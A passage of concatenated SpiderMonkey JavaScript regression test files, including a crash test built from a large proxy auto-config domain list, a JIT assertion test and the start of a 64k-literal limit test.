dnsDomainIs(host, "www.extremescience.com") || dnsDomainIs(host, "www.eyelid.co.uk") || dnsDomainIs(host, "www.eyeneer.com") || dnsDomainIs(host, "www.eyesofachild.com") || dnsDomainIs(host, "www.eyesofglory.com") || dnsDomainIs(host, "www.ezschool.com") || dnsDomainIs(host, "www.f1-live.com") || dnsDomainIs(host, "www.fables.co.uk") || dnsDomainIs(host, "www.factmonster.com") || dnsDomainIs(host, "www.fairygodmother.com") || dnsDomainIs(host, "www.familybuzz.com") || dnsDomainIs(host, "www.familygames.com") || dnsDomainIs(host, "www.familygardening.com") || dnsDomainIs(host, "www.familyinternet.com") || dnsDomainIs(host, "www.familymoney.com") || dnsDomainIs(host, "www.familyplay.com") || dnsDomainIs(host, "www.famousbirthdays.com") || dnsDomainIs(host, "www.fandom.com") || dnsDomainIs(host, "www.fansites.com") || dnsDomainIs(host, "www.faoschwarz.com") || dnsDomainIs(host, "www.fbe.unsw.edu.au") || dnsDomainIs(host, "www.fcps.k12.va.us") || dnsDomainIs(host, "www.fellersartsfactory.com") || dnsDomainIs(host, "www.ferrari.it") || dnsDomainIs(host, "www.fertnel.com") || dnsDomainIs(host, "www.fh-konstanz.de") || dnsDomainIs(host, "www.fhw.gr") || dnsDomainIs(host, "www.fibblesnork.com") || dnsDomainIs(host, "www.fidnet.com") || dnsDomainIs(host, "www.fieldhockey.com") || dnsDomainIs(host, "www.fieldhockeytraining.com") || dnsDomainIs(host, "www.fieler.com") || dnsDomainIs(host, "www.finalfour.net") || dnsDomainIs(host, "www.finifter.com") || dnsDomainIs(host, "www.fireworks-safety.com") || dnsDomainIs(host, "www.firstcut.com") || dnsDomainIs(host, "www.firstnations.com") || dnsDomainIs(host, "www.fishbc.com") || dnsDomainIs(host, "www.fisher-price.com") || dnsDomainIs(host, "www.fisheyeview.com") || dnsDomainIs(host, "www.fishgeeks.com") || dnsDomainIs(host, "www.fishindex.com") || dnsDomainIs(host, "www.fitzgeraldstudio.com") || dnsDomainIs(host, "www.flags.net") || dnsDomainIs(host, "www.flail.com") || dnsDomainIs(host, "www.flamarlins.com") || dnsDomainIs(host, "www.flausa.com") || dnsDomainIs(host, "www.floodlight-findings.com") || dnsDomainIs(host, "www.floridahistory.com") || dnsDomainIs(host, "www.floridapanthers.com") || dnsDomainIs(host, "www.fng.fi") || dnsDomainIs(host, "www.foodsci.uoguelph.ca") || dnsDomainIs(host, "www.foremost.com") || dnsDomainIs(host, "www.fortress.am") || dnsDomainIs(host, "www.fortunecity.com") || dnsDomainIs(host, "www.fosterclub.com") || dnsDomainIs(host, "www.foundus.com") || dnsDomainIs(host, "www.fourmilab.ch") || dnsDomainIs(host, "www.fox.com") || dnsDomainIs(host, "www.foxfamilychannel.com") || dnsDomainIs(host, "www.foxhome.com") || dnsDomainIs(host, "www.foxkids.com") || dnsDomainIs(host, "www.franceway.com") || dnsDomainIs(host, "www.fred.net") || dnsDomainIs(host, "www.fredpenner.com") || dnsDomainIs(host, "www.freedomknot.com") || dnsDomainIs(host, "www.freejigsawpuzzles.com") || dnsDomainIs(host, "www.freenet.edmonton.ab.ca") || dnsDomainIs(host, "www.frii.com") || dnsDomainIs(host, "www.frisbee.com") || dnsDomainIs(host, "www.fritolay.com") || dnsDomainIs(host, "www.frogsonice.com") || dnsDomainIs(host, "www.frontiernet.net") || dnsDomainIs(host, "www.fs.fed.us") || dnsDomainIs(host, "www.funattic.com") || dnsDomainIs(host, ".funbrain.com") || dnsDomainIs(host, "www.fundango.com") || dnsDomainIs(host, "www.funisland.com") || dnsDomainIs(host, "www.funkandwagnalls.com") || dnsDomainIs(host, "www.funorama.com") || dnsDomainIs(host, "www.funschool.com") || dnsDomainIs(host, "www.funster.com") || dnsDomainIs(host, "www.furby.com") || dnsDomainIs(host, "www.fusion.org.uk") || dnsDomainIs(host, "www.futcher.com") || dnsDomainIs(host, "www.futurescan.com") || dnsDomainIs(host, "www.fyi.net") || dnsDomainIs(host, "www.gailgibbons.com") || dnsDomainIs(host, "www.galegroup.com") || dnsDomainIs(host, "www.gambia.com") || dnsDomainIs(host, "www.gamecabinet.com") || dnsDomainIs(host, "www.gamecenter.com") || dnsDomainIs(host, "www.gamefaqs.com") || dnsDomainIs(host, "www.garfield.com") || dnsDomainIs(host, "www.garyharbo.com") || dnsDomainIs(host, "www.gatefish.com") || dnsDomainIs(host, "www.gateway-va.com") || dnsDomainIs(host, "www.gazillionaire.com") || dnsDomainIs(host, "www.gearhead.com") || dnsDomainIs(host, "www.genesplicing.com") || dnsDomainIs(host, "www.genhomepage.com") || dnsDomainIs(host, "www.geobop.com") || dnsDomainIs(host, "www.geocities.com") || dnsDomainIs(host, "www.geographia.com") || dnsDomainIs(host, "www.georgeworld.com") || dnsDomainIs(host, "www.georgian.net") || dnsDomainIs(host, "www.german-way.com") || dnsDomainIs(host, "www.germanfortravellers.com") || dnsDomainIs(host, "www.germantown.k12.il.us") || dnsDomainIs(host, "www.germany-tourism.de") || dnsDomainIs(host, "www.getmusic.com") || dnsDomainIs(host, "www.gettysburg.com") || dnsDomainIs(host, "www.ghirardellisq.com") || dnsDomainIs(host, "www.ghosttowngallery.com") || dnsDomainIs(host, "www.ghosttownsusa.com") || dnsDomainIs(host, "www.giants.com") || dnsDomainIs(host, "www.gibraltar.gi") || dnsDomainIs(host, "www.gigglepoetry.com") || dnsDomainIs(host, "www.gilchriststudios.com") || dnsDomainIs(host, "www.gillslap.freeserve.co.uk") || dnsDomainIs(host, "www.gilmer.net") || dnsDomainIs(host, "www.gio.gov.tw") || dnsDomainIs(host, "www.girltech.com") || dnsDomainIs(host, "www.girlzone.com") || dnsDomainIs(host, "www.globalgang.org.uk") || dnsDomainIs(host, "www.globalindex.com") || dnsDomainIs(host, "www.globalinfo.com") || dnsDomainIs(host, "www.gloriafan.com") || dnsDomainIs(host, "www.gms.ocps.k12.fl.us") || dnsDomainIs(host, "www.go-go-diggity.com") || dnsDomainIs(host, "www.goals.com") || dnsDomainIs(host, "www.godiva.com") || dnsDomainIs(host, "www.golden-retriever.com") || dnsDomainIs(host, "www.goldenbooks.com") || dnsDomainIs(host, "www.goldeneggs.com.au") || dnsDomainIs(host, "www.golfonline.com") || dnsDomainIs(host, "www.goobo.com") || dnsDomainIs(host, "www.goodearthgraphics.com") || dnsDomainIs(host, "www.goodyear.com") || dnsDomainIs(host, "www.gopbi.com") || dnsDomainIs(host, "www.gorge.net") || dnsDomainIs(host, "www.gorp.com") || dnsDomainIs(host, "www.got-milk.com") || dnsDomainIs(host, "www.gov.ab.ca") || dnsDomainIs(host, "www.gov.nb.ca") || dnsDomainIs(host, "www.grammarbook.com") || dnsDomainIs(host, "www.grammarlady.com") || dnsDomainIs(host, "www.grandparents-day.com") || dnsDomainIs(host, "www.granthill.com") || dnsDomainIs(host, "www.grayweb.com") || dnsDomainIs(host, "www.greatbuildings.com") || dnsDomainIs(host, "www.greatkids.com") || dnsDomainIs(host, "www.greatscience.com") || dnsDomainIs(host, "www.greeceny.com") || dnsDomainIs(host, "www.greenkeepers.com") || dnsDomainIs(host, "www.greylabyrinth.com") || dnsDomainIs(host, "www.grimmy.com") || dnsDomainIs(host, "www.gsrg.nmh.ac.uk") || dnsDomainIs(host, "www.gti.net") || dnsDomainIs(host, "www.guinnessworldrecords.com") || dnsDomainIs(host, "www.guitar.net") || dnsDomainIs(host, "www.guitarplaying.com") || dnsDomainIs(host, "www.gumbyworld.com") || dnsDomainIs(host, "www.gurlwurld.com") || dnsDomainIs(host, "www.gwi.net") || dnsDomainIs(host, "www.gymn-forum.com") || dnsDomainIs(host, "www.gzkidzone.com") || dnsDomainIs(host, "www.haemibalgassi.com") || dnsDomainIs(host, "www.hairstylist.com") || dnsDomainIs(host, "www.halcyon.com") || dnsDomainIs(host, "www.halifax.cbc.ca") || dnsDomainIs(host, "www.halloween-online.com") || dnsDomainIs(host, "www.halloweenkids.com") || dnsDomainIs(host, "www.halloweenmagazine.com") || dnsDomainIs(host, "www.hamill.co.uk") || dnsDomainIs(host, "www.hamsterdance2.com") || dnsDomainIs(host, "www.hamsters.co.uk") || dnsDomainIs(host, "www.hamstertours.com") || dnsDomainIs(host, "www.handsonmath.com") || dnsDomainIs(host, "www.handspeak.com") || dnsDomainIs(host, "www.hansonline.com") || dnsDomainIs(host, "www.happychild.org.uk") || dnsDomainIs(host, "www.happyfamilies.com") || dnsDomainIs(host, "www.happytoy.com") || dnsDomainIs(host, "www.harley-davidson.com") || dnsDomainIs(host, "www.harmonicalessons.com") || dnsDomainIs(host, "www.harperchildrens.com") || dnsDomainIs(host, "www.harvey.com") || dnsDomainIs(host, "www.hasbro-interactive.com") || dnsDomainIs(host, "www.haynet.net") || dnsDomainIs(host, "www.hbc.com") || dnsDomainIs(host, "www.hblewis.com") || dnsDomainIs(host, "www.hbook.com") || dnsDomainIs(host, "www.he.net") || dnsDomainIs(host, "www.headbone.com") || dnsDomainIs(host, "www.healthatoz.com") || dnsDomainIs(host, "www.healthypet.com") || dnsDomainIs(host, "www.heartfoundation.com.au") || dnsDomainIs(host, "www.heatersworld.com") || dnsDomainIs(host, "www.her-online.com") || dnsDomainIs(host, "www.heroesofhistory.com") || dnsDomainIs(host, "www.hersheypa.com") || dnsDomainIs(host, "www.hersheys.com") || dnsDomainIs(host, "www.hevanet.com") || dnsDomainIs(host, "www.heynetwork.com") || dnsDomainIs(host, "www.hgo.com") || dnsDomainIs(host, "www.hhof.com") || dnsDomainIs(host, "www.hideandseekpuppies.com") || dnsDomainIs(host, "www.hifusion.com") || dnsDomainIs(host, "www.highbridgepress.com") || dnsDomainIs(host, "www.his.com") || dnsDomainIs(host, "www.history.navy.mil") || dnsDomainIs(host, "www.historychannel.com") || dnsDomainIs(host, "www.historyhouse.com") || dnsDomainIs(host, "www.historyplace.com") || dnsDomainIs(host, "www.hisurf.com") || dnsDomainIs(host, "www.hiyah.com") || dnsDomainIs(host, "www.hmnet.com") || dnsDomainIs(host, "www.hoboes.com") || dnsDomainIs(host, "www.hockeydb.com") || dnsDomainIs(host, "www.hohnerusa.com") || dnsDomainIs(host, "www.holidaychannel.com") || dnsDomainIs(host, "www.holidayfestival.com") || dnsDomainIs(host, "www.holidays.net") || dnsDomainIs(host, "www.hollywood.com") || dnsDomainIs(host, "www.holoworld.com") || dnsDomainIs(host, "www.homepagers.com") || dnsDomainIs(host, "www.homeschoolzone.com") || dnsDomainIs(host, "www.homestead.com") || dnsDomainIs(host, "www.homeworkspot.com") || dnsDomainIs(host, "www.hompro.com") || dnsDomainIs(host, "www.honey.com") || dnsDomainIs(host, "www.hooked.net") || dnsDomainIs(host, "www.hoophall.com") || dnsDomainIs(host, "www.hooverdam.com") || dnsDomainIs(host, "www.hopepaul.com") || dnsDomainIs(host, "www.horse-country.com") || dnsDomainIs(host, "www.horsechat.com") || dnsDomainIs(host, "www.horsefun.com") || dnsDomainIs(host, "www.horus.ics.org.eg") || dnsDomainIs(host, "www.hotbraille.com") || dnsDomainIs(host, "www.hotwheels.com") || dnsDomainIs(host, "www.howstuffworks.com") || dnsDomainIs(host, "www.hpdigitalbookclub.com") || dnsDomainIs(host, "www.hpj.com") || dnsDomainIs(host, "www.hpl.hp.com") || dnsDomainIs(host, "www.hpl.lib.tx.us") || dnsDomainIs(host, "www.hpnetwork.f2s.com") || dnsDomainIs(host, "www.hsswp.com") || dnsDomainIs(host, "www.hsx.com") || dnsDomainIs(host, "www.humboldt1.com") || dnsDomainIs(host, "www.humongous.com") || dnsDomainIs(host, "www.humph3.freeserve.co.uk") || dnsDomainIs(host, "www.humphreybear.com ") || dnsDomainIs(host, "www.hurricanehunters.com") || dnsDomainIs(host, "www.hyperhistory.com") || dnsDomainIs(host, "www.i2k.com") || dnsDomainIs(host, "www.ibhof.com") || dnsDomainIs(host, "www.ibiscom.com") || dnsDomainIs(host, "www.ibm.com") || dnsDomainIs(host, "www.icangarden.com") || dnsDomainIs(host, "www.icecreamusa.com") || dnsDomainIs(host, "www.icn.co.uk") || dnsDomainIs(host, "www.icomm.ca") || dnsDomainIs(host, "www.idfishnhunt.com") || dnsDomainIs(host, "www.iditarod.com") || dnsDomainIs(host, "www.iei.net") || dnsDomainIs(host, "www.iemily.com") || dnsDomainIs(host, "www.iir.com") || dnsDomainIs(host, "www.ika.com") || dnsDomainIs(host, "www.ikoala.com") || dnsDomainIs(host, "www.iln.net") || dnsDomainIs(host, "www.imagine5.com") || dnsDomainIs(host, "www.imes.boj.or.jp") || dnsDomainIs(host, "www.inch.com") || dnsDomainIs(host, "www.incwell.com") || dnsDomainIs(host, "www.indian-river.fl.us") || dnsDomainIs(host, "www.indians.com") || dnsDomainIs(host, "www.indo.com") || dnsDomainIs(host, "www.indyracingleague.com") || dnsDomainIs(host, "www.indyzoo.com") || dnsDomainIs(host, "www.info-canada.com") || dnsDomainIs(host, "www.infomagic.net") || dnsDomainIs(host, "www.infoplease.com") || dnsDomainIs(host, "www.infoporium.com") || dnsDomainIs(host, "www.infostuff.com") || dnsDomainIs(host, "www.inhandmuseum.com") || dnsDomainIs(host, "www.inil.com") || dnsDomainIs(host, "www.inkspot.com") || dnsDomainIs(host, "www.inkyfingers.com") || dnsDomainIs(host, "www.innerauto.com") || dnsDomainIs(host, "www.innerbody.com") || dnsDomainIs(host, "www.inqpub.com") || dnsDomainIs(host, "www.insecta-inspecta.com") || dnsDomainIs(host, "www.insectclopedia.com") || dnsDomainIs(host, "www.inside-mexico.com") || dnsDomainIs(host, "www.insiders.com") || dnsDomainIs(host, "www.insteam.com") || dnsDomainIs(host, "www.intel.com") || dnsDomainIs(host, "www.intellicast.com") || dnsDomainIs(host, "www.interads.co.uk") || dnsDomainIs(host, "www.intercot.com") || dnsDomainIs(host, "www.intergraffix.com") || dnsDomainIs(host, "www.interknowledge.com") || dnsDomainIs(host, "www.interlog.com") || dnsDomainIs(host, "www.internet4kids.com") || dnsDomainIs(host, "www.intersurf.com") || dnsDomainIs(host, "www.inthe80s.com") || dnsDomainIs(host, "www.inventorsmuseum.com") || dnsDomainIs(host, "www.inwap.com") || dnsDomainIs(host, "www.ioa.com") || dnsDomainIs(host, "www.ionet.net") || dnsDomainIs(host, "www.iowacity.com") || dnsDomainIs(host, "www.ireland-now.com") || dnsDomainIs(host, "www.ireland.com") || dnsDomainIs(host, "www.irelandseye.com") || dnsDomainIs(host, "www.irlgov.ie") || dnsDomainIs(host, "www.isd.net") || dnsDomainIs(host, "www.islandnet.com") || dnsDomainIs(host, "www.isomedia.com") || dnsDomainIs(host, "www.itftennis.com") || dnsDomainIs(host, "www.itpi.dpi.state.nc.us") || dnsDomainIs(host, "www.itskwanzaatime.com") || dnsDomainIs(host, "www.itss.raytheon.com") || dnsDomainIs(host, "www.iuma.com") || dnsDomainIs(host, "www.iwaynet.net") || dnsDomainIs(host, "www.iwc.com") || dnsDomainIs(host, "www.iwight.gov.uk") || dnsDomainIs(host, "www.ixpres.com") || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk") || dnsDomainIs(host, "www.jabuti.com") || dnsDomainIs(host, "www.jackinthebox.com") || dnsDomainIs(host, "www.jaffebros.com") || dnsDomainIs(host, "www.jaguars.com") || dnsDomainIs(host, "www.jamaica-gleaner.com") || dnsDomainIs(host, "www.jamm.com") || dnsDomainIs(host, "www.janbrett.com") || dnsDomainIs(host, "www.janetstevens.com") || dnsDomainIs(host, "www.japan-guide.com") || dnsDomainIs(host, "www.jargon.net") || dnsDomainIs(host, "www.javelinamx.com") || dnsDomainIs(host, "www.jayjay.com") || dnsDomainIs(host, "www.jazclass.aust.com") || dnsDomainIs(host, "www.jedinet.com") || dnsDomainIs(host, "www.jenniferlopez.com") || dnsDomainIs(host, "www.jlpanagopoulos.com") || dnsDomainIs(host, "www.jmarshall.com") || dnsDomainIs(host, "www.jmccall.demon.co.uk") || dnsDomainIs(host, "www.jmts.com") || dnsDomainIs(host, "www.joesherlock.com") || dnsDomainIs(host, "www.jorvik-viking-centre.co.uk") || dnsDomainIs(host, "www.joycecarolthomas.com") || dnsDomainIs(host, "www.joycone.com") || dnsDomainIs(host, "www.joyrides.com") || dnsDomainIs(host, "www.jps.net") || dnsDomainIs(host, "www.jspub.com") || dnsDomainIs(host, "www.judaica.com") || dnsDomainIs(host, "www.judyblume.com") || dnsDomainIs(host, "www.julen.net") || dnsDomainIs(host, "www.june29.com") || dnsDomainIs(host, "www.juneteenth.com") || dnsDomainIs(host, "www.justuskidz.com") || dnsDomainIs(host, "www.justwomen.com") || dnsDomainIs(host, "www.jwindow.net") || dnsDomainIs(host, "www.k9web.com") || dnsDomainIs(host, "www.kaercher.de") || dnsDomainIs(host, "www.kaleidoscapes.com") || dnsDomainIs(host, "www.kapili.com") || dnsDomainIs(host, "www.kcchiefs.com") || dnsDomainIs(host, "www.kcpl.lib.mo.us") || dnsDomainIs(host, "www.kcroyals.com") || dnsDomainIs(host, "www.kcsd.k12.pa.us") || dnsDomainIs(host, "www.kdu.com") || dnsDomainIs(host, "www.kelloggs.com") || dnsDomainIs(host, "www.kentuckyfriedchicken.com") || dnsDomainIs(host, "www.kenyaweb.com") || dnsDomainIs(host, "www.keypals.com") || dnsDomainIs(host, "www.kfn.com") || dnsDomainIs(host, "www.kid-at-art.com") || dnsDomainIs(host, "www.kid-channel.com") || dnsDomainIs(host, "www.kidallergy.com") || dnsDomainIs(host, "www.kidbibs.com") || dnsDomainIs(host, "www.kidcomics.com") || dnsDomainIs(host, "www.kiddesafety.com") || dnsDomainIs(host, "www.kiddiecampus.com") || dnsDomainIs(host, "www.kididdles.com") || dnsDomainIs(host, "www.kidnews.com") || dnsDomainIs(host, "www.kidocracy.com") || dnsDomainIs(host, "www.kidport.com") || dnsDomainIs(host, "www.kids-channel.co.uk") || dnsDomainIs(host, "www.kids-drawings.com") || dnsDomainIs(host, "www.kids-in-mind.com") || dnsDomainIs(host, "www.kids4peace.com") || dnsDomainIs(host, "www.kidsandcomputers.com") || dnsDomainIs(host, "www.kidsart.co.uk") || dnsDomainIs(host, "www.kidsastronomy.com") || dnsDomainIs(host, "www.kidsbank.com") || dnsDomainIs(host, "www.kidsbookshelf.com") || dnsDomainIs(host, "www.kidsclick.com") || dnsDomainIs(host, "www.kidscom.com") || dnsDomainIs(host, "www.kidscook.com") || dnsDomainIs(host, "www.kidsdoctor.com") || dnsDomainIs(host, "www.kidsdomain.com") || dnsDomainIs(host, "www.kidsfarm.com") || dnsDomainIs(host, "www.kidsfreeware.com") || dnsDomainIs(host, "www.kidsfun.tv") || dnsDomainIs(host, "www.kidsgolf.com") || dnsDomainIs(host, "www.kidsgowild.com") || dnsDomainIs(host, "www.kidsjokes.com") || dnsDomainIs(host, "www.kidsloveamystery.com") || dnsDomainIs(host, "www.kidsmoneycents.com") || dnsDomainIs(host, "www.kidsnewsroom.com") || dnsDomainIs(host, "www.kidsource.com") || dnsDomainIs(host, "www.kidsparties.com") || dnsDomainIs(host, "www.kidsplaytown.com") || dnsDomainIs(host, "www.kidsreads.com") || dnsDomainIs(host, "www.kidsreport.com") || dnsDomainIs(host, "www.kidsrunning.com") || dnsDomainIs(host, "www.kidstamps.com") || dnsDomainIs(host, "www.kidsvideogames.com") || dnsDomainIs(host, "www.kidsway.com") || dnsDomainIs(host, "www.kidswithcancer.com") || dnsDomainIs(host, "www.kidszone.ourfamily.com") || dnsDomainIs(host, "www.kidzup.com") || dnsDomainIs(host, "www.kinderart.com") || dnsDomainIs(host, "www.kineticcity.com") || dnsDomainIs(host, "www.kings.k12.ca.us") || dnsDomainIs(host, "www.kiplinger.com") || dnsDomainIs(host, "www.kiwirecovery.org.nz") || dnsDomainIs(host, "www.klipsan.com") || dnsDomainIs(host, "www.klutz.com") || dnsDomainIs(host, "www.kn.pacbell.com") || dnsDomainIs(host, "www.knex.com") || dnsDomainIs(host, "www.knowledgeadventure.com") || dnsDomainIs(host, "www.knto.or.kr") || dnsDomainIs(host, "www.kodak.com") || dnsDomainIs(host, "www.konica.co.jp") || dnsDomainIs(host, "www.kraftfoods.com") || dnsDomainIs(host, "www.kudzukids.com") || dnsDomainIs(host, "www.kulichki.com") || dnsDomainIs(host, "www.kuttu.com") || dnsDomainIs(host, "www.kv5.com") || dnsDomainIs(host, "www.kyes-world.com") || dnsDomainIs(host, "www.kyohaku.go.jp") || dnsDomainIs(host, "www.kyrene.k12.az.us") || dnsDomainIs(host, "www.kz") || dnsDomainIs(host, "www.la-hq.org.uk") || dnsDomainIs(host, "www.labs.net") || dnsDomainIs(host, "www.labyrinth.net.au") || dnsDomainIs(host, "www.laffinthedark.com") || dnsDomainIs(host, "www.lakhota.com") || dnsDomainIs(host, "www.lakings.com") || dnsDomainIs(host, "www.lam.mus.ca.us") || dnsDomainIs(host, "www.lampstras.k12.pa.us") || dnsDomainIs(host, "www.lams.losalamos.k12.nm.us") || dnsDomainIs(host, "www.landofcadbury.ca") || dnsDomainIs(host, "www.larry-boy.com") || dnsDomainIs(host, "www.lasersite.com") || dnsDomainIs(host, "www.last-word.com") || dnsDomainIs(host, "www.latimes.com") || dnsDomainIs(host, "www.laughon.com") || dnsDomainIs(host, "www.laurasmidiheaven.com") || dnsDomainIs(host, "www.lausd.k12.ca.us") || dnsDomainIs(host, "www.learn2.com") || dnsDomainIs(host, "www.learn2type.com") || dnsDomainIs(host, "www.learnfree-hobbies.com") || dnsDomainIs(host, "www.learningkingdom.com") || dnsDomainIs(host, "www.learningplanet.com") || dnsDomainIs(host, "www.leftjustified.com") || dnsDomainIs(host, "www.legalpadjr.com") || dnsDomainIs(host, "www.legendarysurfers.com") || dnsDomainIs(host, "www.legends.dm.net") || dnsDomainIs(host, "www.legis.state.wi.us") || dnsDomainIs(host, "www.legis.state.wv.us") || dnsDomainIs(host, "www.lego.com") || dnsDomainIs(host, "www.leje.com") || dnsDomainIs(host, "www.leonardodicaprio.com") || dnsDomainIs(host, "www.lessonplanspage.com") || dnsDomainIs(host, "www.letour.fr") || dnsDomainIs(host, "www.levins.com") || dnsDomainIs(host, "www.levistrauss.com") || dnsDomainIs(host, "www.libertystatepark.com") || dnsDomainIs(host, "www.libraryspot.com") || dnsDomainIs(host, "www.lifelong.com") || dnsDomainIs(host, "www.lighthouse.cc") || dnsDomainIs(host, "www.lightlink.com") || dnsDomainIs(host, "www.lightspan.com") || dnsDomainIs(host, "www.lil-fingers.com") || dnsDomainIs(host, "www.linc.or.jp") || dnsDomainIs(host, "www.lindsaysbackyard.com") || dnsDomainIs(host, "www.lindtchocolate.com") || dnsDomainIs(host, "www.lineone.net") || dnsDomainIs(host, "www.lionel.com") || dnsDomainIs(host, "www.lisafrank.com") || dnsDomainIs(host, "www.lissaexplains.com") || dnsDomainIs(host, "www.literacycenter.net") || dnsDomainIs(host, "www.littleartist.com") || dnsDomainIs(host, "www.littlechiles.com") || dnsDomainIs(host, "www.littlecritter.com") || dnsDomainIs(host, "www.littlecrowtoys.com") || dnsDomainIs(host, "www.littlehousebooks.com") || dnsDomainIs(host, "www.littlejason.com") || dnsDomainIs(host, "www.littleplanettimes.com") || dnsDomainIs(host, "www.liveandlearn.com") || dnsDomainIs(host, "www.loadstar.prometeus.net") || dnsDomainIs(host, "www.localaccess.com") || dnsDomainIs(host, "www.lochness.co.uk") || dnsDomainIs(host, "www.lochness.scotland.net") || dnsDomainIs(host, "www.logos.it") || dnsDomainIs(host, "www.lonelyplanet.com") || dnsDomainIs(host, "www.looklearnanddo.com") || dnsDomainIs(host, "www.loosejocks.com") || dnsDomainIs(host, "www.lost-worlds.com") || dnsDomainIs(host, "www.love-story.com") || dnsDomainIs(host, "www.lpga.com") || dnsDomainIs(host, "www.lsjunction.com") || dnsDomainIs(host, "www.lucasarts.com") || dnsDomainIs(host, "www.lucent.com") || dnsDomainIs(host, "www.lucie.com") || dnsDomainIs(host, "www.lunaland.co.za") || dnsDomainIs(host, "www.luth.se") || dnsDomainIs(host, "www.lyricalworks.com") || dnsDomainIs(host, "www.infoporium.com") || dnsDomainIs(host, "www.infostuff.com") || dnsDomainIs(host, "www.inhandmuseum.com") || dnsDomainIs(host, "www.inil.com") || dnsDomainIs(host, "www.inkspot.com") || dnsDomainIs(host, "www.inkyfingers.com") || dnsDomainIs(host, "www.innerauto.com") || dnsDomainIs(host, "www.innerbody.com") || dnsDomainIs(host, "www.inqpub.com") || dnsDomainIs(host, "www.insecta-inspecta.com") || dnsDomainIs(host, "www.insectclopedia.com") || dnsDomainIs(host, "www.inside-mexico.com") || dnsDomainIs(host, "www.insiders.com") || dnsDomainIs(host, "www.insteam.com") || dnsDomainIs(host, "www.intel.com") || dnsDomainIs(host, "www.intellicast.com") || dnsDomainIs(host, "www.interads.co.uk") || dnsDomainIs(host, "www.intercot.com") || dnsDomainIs(host, "www.intergraffix.com") || dnsDomainIs(host, "www.interknowledge.com") || dnsDomainIs(host, "www.interlog.com") || dnsDomainIs(host, "www.internet4kids.com") || dnsDomainIs(host, "www.intersurf.com") || dnsDomainIs(host, "www.inthe80s.com") || dnsDomainIs(host, "www.inventorsmuseum.com") || dnsDomainIs(host, "www.inwap.com") || dnsDomainIs(host, "www.ioa.com") || dnsDomainIs(host, "www.ionet.net") || dnsDomainIs(host, "www.iowacity.com") || dnsDomainIs(host, "www.ireland-now.com") || dnsDomainIs(host, "www.ireland.com") || dnsDomainIs(host, "www.irelandseye.com") || dnsDomainIs(host, "www.irlgov.ie") || dnsDomainIs(host, "www.isd.net") || dnsDomainIs(host, "www.islandnet.com") || dnsDomainIs(host, "www.isomedia.com") || dnsDomainIs(host, "www.itftennis.com") || dnsDomainIs(host, "www.itpi.dpi.state.nc.us") || dnsDomainIs(host, "www.itskwanzaatime.com") || dnsDomainIs(host, "www.itss.raytheon.com") || dnsDomainIs(host, "www.iuma.com") || dnsDomainIs(host, "www.iwaynet.net") || dnsDomainIs(host, "www.iwc.com") || dnsDomainIs(host, "www.iwight.gov.uk") || dnsDomainIs(host, "www.ixpres.com") || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk") || dnsDomainIs(host, "www.jabuti.com") || dnsDomainIs(host, "www.jackinthebox.com") || dnsDomainIs(host, "www.jaffebros.com") || dnsDomainIs(host, "www.jaguars.com") || dnsDomainIs(host, "www.jamaica-gleaner.com") || dnsDomainIs(host, "www.jamm.com") || dnsDomainIs(host, "www.janbrett.com") || dnsDomainIs(host, "www.janetstevens.com") || dnsDomainIs(host, "www.japan-guide.com") || dnsDomainIs(host, "www.jargon.net") || dnsDomainIs(host, "www.javelinamx.com") || dnsDomainIs(host, "www.jayjay.com") || dnsDomainIs(host, "www.jazclass.aust.com") ) return "PROXY proxy.hclib.org:80"; else return "PROXY 172.16.100.20:8080"; } reportCompare('No Crash', 'No Crash', ''); mozjs17.0.0/js/src/tests/js1_5/Regress/regress-457065-03.js0000664000175000017500000000167212106270663022507 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 457065; var summary = 'Do not assert: !fp->callee || fp->thisp == JSVAL_TO_OBJECT(fp->argv[-1])'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); (function() { new function (){ for (var x = 0; x < 3; ++x){} }; })(); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/Regress/regress-155081-2.js0000664000175000017500000227201512106270663022422 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 155081; var summary = 'Limit of 64k literals'; var actual = 'No Crash'; var expect = 'No Crash, No Error'; printBugNumber(BUGNUMBER); printStatus (summary); function f(A,B,C,D) {} f('1','2','3','4'); f('5','6','7','8'); f('9','10','11','12'); f('13','14','15','16'); f('17','18','19','20'); f('21','22','23','24'); f('25','26','27','28'); f('29','30','31','32'); f('33','34','35','36'); f('37','38','39','40'); f('41','42','43','44'); f('45','46','47','48'); f('49','50','51','52'); f('53','54','55','56'); f('57','58','59','60'); f('61','62','63','64'); f('65','66','67','68'); f('69','70','71','72'); f('73','74','75','76'); f('77','78','79','80'); f('81','82','83','84'); f('85','86','87','88'); f('89','90','91','92'); f('93','94','95','96'); f('97','98','99','100'); f('101','102','103','104'); f('105','106','107','108'); f('109','110','111','112'); f('113','114','115','116'); f('117','118','119','120'); f('121','122','123','124'); f('125','126','127','128'); f('129','130','131','132'); f('133','134','135','136'); f('137','138','139','140'); f('141','142','143','144'); f('145','146','147','148'); f('149','150','151','152'); f('153','154','155','156'); f('157','158','159','160'); f('161','162','163','164'); f('165','166','167','168'); f('169','170','171','172'); f('173','174','175','176'); f('177','178','179','180'); f('181','182','183','184'); f('185','186','187','188'); f('189','190','191','192'); f('193','194','195','196'); f('197','198','199','200'); f('201','202','203','204'); f('205','206','207','208'); f('209','210','211','212'); f('213','214','215','216'); f('217','218','219','220'); f('221','222','223','224'); f('225','226','227','228'); f('229','230','231','232'); f('233','234','235','236'); f('237','238','239','240'); f('241','242','243','244'); f('245','246','247','248'); f('249','250','251','252'); f('253','254','255','256'); f('257','258','259','260'); f('261','262','263','264'); f('265','266','267','268'); f('269','270','271','272'); f('273','274','275','276'); f('277','278','279','280'); f('281','282','283','284'); f('285','286','287','288'); 